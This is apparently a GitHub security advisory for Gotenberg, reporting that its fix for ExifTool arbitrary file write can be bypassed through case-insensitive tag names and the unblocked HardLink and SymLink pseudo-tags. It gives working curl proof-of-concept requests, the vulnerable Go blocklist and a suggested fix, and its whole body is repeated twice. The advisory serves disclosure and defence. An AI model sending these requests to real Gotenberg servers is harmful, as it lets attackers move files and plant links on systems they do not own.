GHSA-qmwh-9m9c-h36m

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

• HardLink: creates a hard link to the file at the specified path
• SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

• HardLink: creates a hard link to the file at the specified path
• SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg